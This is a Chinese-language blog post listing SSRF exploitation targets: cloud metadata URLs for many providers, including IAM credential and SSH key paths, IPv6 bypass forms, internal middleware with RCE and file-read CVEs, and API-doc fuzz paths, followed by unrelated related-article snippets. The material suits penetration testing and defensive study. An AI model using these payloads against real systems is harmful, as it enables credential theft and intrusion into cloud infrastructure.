SSRF非常规利用方法

前言

SSRF漏洞在互联网公司中应该是除了越权之外最普遍的漏洞了。关于漏洞的原理,绕过,传统的扫端口、各种探测等利用方式等就不再赘述,这里分享下自己作为攻防当中常用的一些SSRF的利用途径。

0x01 Cloud Metadata

就是各种云上的元数据信息,有些可直接拿到主机权限,有些可获取一些敏感信息。

1.1 AWS

# http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html#instancedata-data-categories
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
# ECS Task : https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task-metadata-endpoint-v2.html
http://169.254.170.2/v2/credentials/

1.2 Google Cloud

 
# https://cloud.google.com/compute/docs/metadata
# - Requires the header "Metadata-Flavor: Google" or "X-Google-Metadata-Request: True" on API v1
http://169.254.169.254/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/
http://metadata/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/hostname
http://metadata.google.internal/computeMetadata/v1/instance/id
http://metadata.google.internal/computeMetadata/v1/project/project-id
# kube-env; thanks to JackMc for the heads up on this (https://hackerone.com/reports/341876)
http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env
# Google allows recursive pulls
http://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true
# returns root password for Google
http://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/?recursive=true&alt=json

1.3 Digital Ocean

 
# https://developers.digitalocean.com/documentation/metadata/
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/address

1.4 Packetcloud

https://metadata.packet.net/userdata

1.5 Azure

 
# https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service
# Header: "Metadata: true"
# (Old) https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service/
http://169.254.169.254/metadata/instance?api-version=2017-04-02
http://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text

1.6 Oracle Cloud

 
# https://docs.us-phoenix-1.oraclecloud.com/Content/Compute/Tasks/gettingmetadata.htm
http://169.254.169.254/opc/v1/instance/
# https://docs.oracle.com/en/cloud/iaas/compute-iaas-cloud/stcsg/retrieving-instance-metadata.html
http://192.0.0.192/latest/
http://192.0.0.192/latest/user-data/
http://192.0.0.192/latest/meta-data/
http://192.0.0.192/latest/attributes/

1.7 阿里云

 
# https://www.alibabacloud.com/help/faq-detail/49122.htm
http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id

1.8 OpenStack

 
# https://docs.openstack.org/nova/latest/user/metadata-service.html
http://169.254.169.254/openstack
http://169.254.169.254/openstack/2012-08-10/meta_data.json
http://169.254.169.254/openstack/2018-08-27/network_data.json

1.9 Kubernetes

 
# Debug Services (https://kubernetes.io/docs/tasks/debug-application-cluster/debug-service/)
https://kubernetes.default.svc.cluster.local
https://kubernetes.default
# https://twitter.com/Random_Robbie/status/1072242182306832384
https://kubernetes.default.svc/metrics

1.10 腾讯云

 
# https://cloud.tencent.com/document/product/213/4934
http://metadata.tencentyun.com/latest/meta-data/
http://169.254.0.23/latest/meta-data/
http://100.88.222.5/

1.11 IPv6 Tests

大部分云主机都是支持IPv6的,所以绕过的时候可以尝试下

 
http://[::ffff:169.254.169.254]
http://[0:0:0:0:0:ffff:169.254.169.254]

1.12 华为云

 
# https://support.huaweicloud.com/usermanual-ecs/ecs_03_0166.html
http://169.254.169.254/openstack/latest/meta_data.json
http://169.254.169.254/openstack/latest/user_data
http://169.254.169.254/openstack/latest/network_data.json
http://169.254.169.254/openstack/latest/securitykey

0x02 中间件

利用SSRF攻击传统的组件、CMS等的常用途径不再赘述,这里举一些在大部分互联网公司中常用的 能够被SSRF进一步利用的中间件。

2.1 Apollo

利用点:

  • 未授权访问
    • 伪造客户端访问服务端,容易泄漏配置信息 · Issue #2099 · apolloconfig/apollo · GitHub 直接获取各种配置信息,各种账密、AK、数据库等

2.2 Erueka

利用点:

  • 未授权访问
    • Erueka未授权访问漏洞。通过内网Eruaka未授权,可获取到大量注册的应用,若运气好,直接可定位到核心组件和核心服务。

2.3 JumpServer

利用点:

  • RCE:
    • JumpServer远程代码执行漏洞。JumpServer的这个漏洞最开始基本上都是在Nginx层做的拦截,如果直接找到Jumpserver的后端端口,可直接尝试利用漏洞RCE。

2.4 Grafana

利用点:

  • 文件读取
    • CVE-2021-43798任意文件读取。内网的组件大多比较脆弱,直接读Grafana的DB文件,得到的基本上都是比较重要的DB账号密码。

2.5 K8s

利用点:

  • 各种未授权访问
    • 这个比较大,不一一说了,纯属看运气了。比如常见的:API Server / etcd / kubectl proxy / kubelet / Docker Remote API / dashboard等等等

2.6 大数据相关

利用点:

  • 未授权访问
  • 文件读取
  • RCE

大数据生态组件也非常多,大多利用未授权访问、文件读取漏洞进行信息获取,部分可进行RCE。

2.7 SpringBoot Actuator

利用点:

  • 未授权访问:

    • 很多Actuator的端点拦截只是对外网而言,有些是在Nginx过滤了 或者在 filter设置的只允许内部网络访问,通过SSRF就可以直接未授权获取各种数据,直接下载heapdump获取数据。
  • 文件读取:

    • Logview CVE-2021-21234
  • RCE:

    • Gateway SPEL 代码注入 (CVE-2022-22947)
    • 修改env端点属性
      • eureka xstream deserialization
      • SnakeYAML RCE
      • Jolokia Realm JNDI RCE
      • H2 RCE

2.8 内网业务应用

这里有个小技巧,先搞应用的API文档,大部分内网调用的服务很多都不做权限校验的,直接请求接口运气好的直接搞到核心数据

API文档的Fuzz URI

 
doc.html
swagger-ui.html
swagger/swagger-ui.html
api/swagger-ui.html
api/doc.html
swagger/index.html
druid/index.html
spring-security-rest/api/swagger-ui.html
spring-security-oauth-resource/swagger-ui.html
swagger/v1/swagger.json
swagger/v2/swagger.json
api-docs
v1/api-docs
v2/api-docs
...

2.9 Confluence

利用点:

  • SPEL RCE
    • CVE-2021-26084 Remote Code Execution on Confluence Servers

2.10 Elasticsearch

利用点:

  • 未授权访问:

    • 运气好的直接搞到运维或中间件的ES
      • 是应用ES的话找访问日志的索引和操作日志的索引
      • 是运维ES的话找应用stdout/stderr/logback等的索引
  • RCE:

    • log4j(我不会告诉你 国内TOP3云厂商卖的ES服务还有log4j漏洞呢)

2.11 阿里Druid

利用点:

  • 未授权访问
    • 找URI
    • 找Session
    • 找SQL(往SQL注入靠)

2.12 Apache Druid

利用点:

  • 未授权访问
    • Dashboard
  • 文件读取
    • CVE-2021-36749 Apache Druid LoadData 任意文件读取
  • RCE
    • Apache Druid 远程代码执行漏洞(CVE-2021-26919)
    • 结合未授权 Apache Druid 命令执行漏洞(CVE-2021-25646)

2.13 APISIX

利用点:

  • 未授权访问
    • CVE-2021-45232 APISIX Dashboard未授权访问漏洞

2.14 Jenkins

利用点:

  • 未授权访问
    • Groovy 脚本控制台 RCE
  • RCE
    • CVE-2018-1000861
    • CVE-2019-1003000
  • 参考:瓦都尅'Blog

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/818435.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

单链表链表专题

1 链表的概念 概念:链表是⼀种物理存储结构上⾮连续、⾮顺序的存储结构,数据元素的逻辑顺序是通过链表中的指针链接次序实现的。 链表的结构跟⽕⻋⻋厢相似,淡季时⻋次的⻋厢会相应减少,旺季时⻋次的⻋厢会额外增加⼏节。只 需要…

MySQL表结构的操作

文章目录 1. 创建表2. 查看表3. 修改表4. 删除表 1. 创建表 create table table_name (field1 datatype,field2 datatype,field3 datatype )character set 字符集 collate 校验集 engine 存储引擎;field:列名datatype:列的类型character set&#xff1a…

VueUse工具库 常用api

简介: VueUse不是Vue.use, VueUse 为 Vue 2和Vue3 服务的一套Vue Composition API的常用工具集,,它提供了一系列的 hooks 和工具函数,帮助我们更方便地使用 Vue Composition API。 通俗的来说,这就是一个工…

zookeeper分布式应用程序协调服务+消息中间件kafka分布式数据处理平台

一、zookeeper基本介绍 1.1 zookeeper的概念 Zookeeper是一个开源的分布式的,为分布式框架提供协调服务的Apache项目。 是Hadoop和Hbase的重要组件。它是一个为分布式应用提供一致性服务的软件,提供的功能包括:配置维护、域名服务、…

滑动窗口题解2

目录 1 找到字符串中所有字母异位词 分析: 代码展示: 代码展示: 2 串联所有单词的子串 分析: 代码展示: 3 串联所有单词的子串 分析: 代码展示: 4 水果成篮 分析: 代码展…

JDK自带的线程池有哪些?

Java JDK 自带的线程池主要包含以下几种类型,这些线程池都是通过 java.util.concurrent 包中的 Executors 工具类提供的工厂方法创建: 固定大小线程池 (Fixed Thread Pool): newFixedThreadPool(int nThreads):创建一个定长线程池…

障碍物识别技术赋能盲人独立出行:一场静默的科技革新

作为一名资深记者,我始终关注并报道那些科技如何助力特殊群体克服生活挑战的动人故事。近期,一款叫做蝙蝠避障的应用进入了我的视线,它搭载先进障碍物识别技术以其独特的优势,悄然为视障人士的独立出行带来了显著变革。 “障碍物识…

一.shell基本知识

目录 1.1为什么学习和使用Shell编程 1.2什么是Shell 1.2.1 shell的起源 1.2.2shell的功能 1.3shell的分类 1.4作为程序设计的语言一—shell 1.5如何学好shell 1.6shell脚本的基本元素 1.7 shell脚本编写规范 1.8 shell脚本的执行方式 1.9 执行脚本的方法 1.10 shel…

ChatGML-6B大模型Windows部署(可CPU运行 保姆级教程)

🚀 写在最前:这篇文章将学习如何运行ChatGML-6B大模型。 🚀:点个关注吧😀,让我们一起探索计算机的奥秘! 一、ChatGML-6B大模型介绍 ChatGML-6B 是一个大型语言模型,被训练来预测人类语言。它是…

【python】python基础学习笔记

python基础笔记 参考 学习视频 字符串拼接,特殊字符打印 字符串拼接可以用号。print打印最后默认会换行。\为转义符,比如"表示双引号,\n换行 可以自动换行用三个引号 print(see you see you spaceboy someday somewhere)运算 乘方…

人工智能基础部分26-基于知识推理引擎KIE算法的原理介绍与实际应用

大家好,我是微学AI,今天给大家介绍一下人工智能基础部分26-基于知识推理引擎KIE算法的原理介绍与实际应用。知识推理引擎(Knowledge Inference Engine, KIE)是一种人工智能技术,其核心原理是基于规则和逻辑的方法来处理复杂的问题。它构建在业…

wayland xmodmap 键盘按键映射失效,转 evremap。wps fcitx5 输入法失效

date: 2024-04-12 Plasma 升级时自动的把 x11 换成了 wayland,导致 xmodmap 的映射失效了 下面确认确实是 wayland $ echo "$XDG_SESSION_TYPE" wayland$ env | grep -E -i x11|xorg|wayland XDG_SESSION_TYPEwayland MEMORY_PRESSURE_WATCH/sys/fs/cg…

华为欧拉系统(openEuler-22.03)安装深信服EasyConnect软件(图文详解)

欧拉镜像下载安装 iso镜像官网下载地址 选择最小化安装,标准模式 换华为镜像源 更换华为镜像站,加速下载: sed -i "s#http://repo.openeuler.org#https://mirrors.huaweicloud.com/openeuler#g" /etc/yum.repos.d/openEuler.r…

MongoDB 初识

1.介绍 什么是Mong MongoDB是一种开源的文档型数据库管理系统,它使用类似于JSON的BSON格式(Binary JSON)来存储数据。与传统关系型数据库不同,MongoDB不使用表和行的结构,而是采用集合(Collection&#x…

美团春招内幕:2024年最全Spring Mobile面试题大全,移动开发秘籍!99%的应聘者都推荐收藏!

在2024年,随着移动互联网的飞速发展,移动优先策略已成为企业发展的重要方向。美团,作为中国领先的电子商务平台之一,特别重视在移动设备上提供卓越的用户体验。为了提升应用的移动友好性,Spring Mobile作为一个专门针对…

Leetcode刷题之删除链表中等于给定值 val 的所有结点

Leetcode刷题之删除链表中等于给定值 val 的所有结点 一、题目描述二、题目解析 一、题目描述 Leetcode刷题之删除链表中等于给定值 val 的所有结点 二、题目解析 本题中我们需要将链表中等于val的值的节点删除,首先我想到的方法是通过暴力求解解决,…

递归、搜索与回溯算法:⼆叉树中的深搜

⼆叉树中的深搜 深度优先遍历(DFS,全称为 Depth First Traversal),是我们树或者图这样的数据结构中常⽤的 ⼀种遍历算法。这个算法会尽可能深的搜索树或者图的分⽀,直到⼀条路径上的所有节点都被遍历 完毕&#xff…

【Java】maven的生命周期和概念图

maven的生命周期: 在maven中存在三套"生命周期",每一套生命周期,相互独立,互不影响的,但是中同一套生命周期里,执行后面的命令会自动先执行前面的命令 CleanLifeCycle:清理的生命周期 clean defaultLifeCycle:默认的…

docker-compose yaml指定具体容器网桥ip网段subnet;docker创建即指定subnet;docker取消自启动

1、docker-compose yaml指定具体容器网桥ip网段subnet docker-compose 启动yaml有时可能的容器网段与宿主机的ip冲突导致宿主机上不了网,这时候可以更改yaml指定subnet 宿主机内网一般是192**,这时候容器可以指定172* version: 3.9 services:coredns:…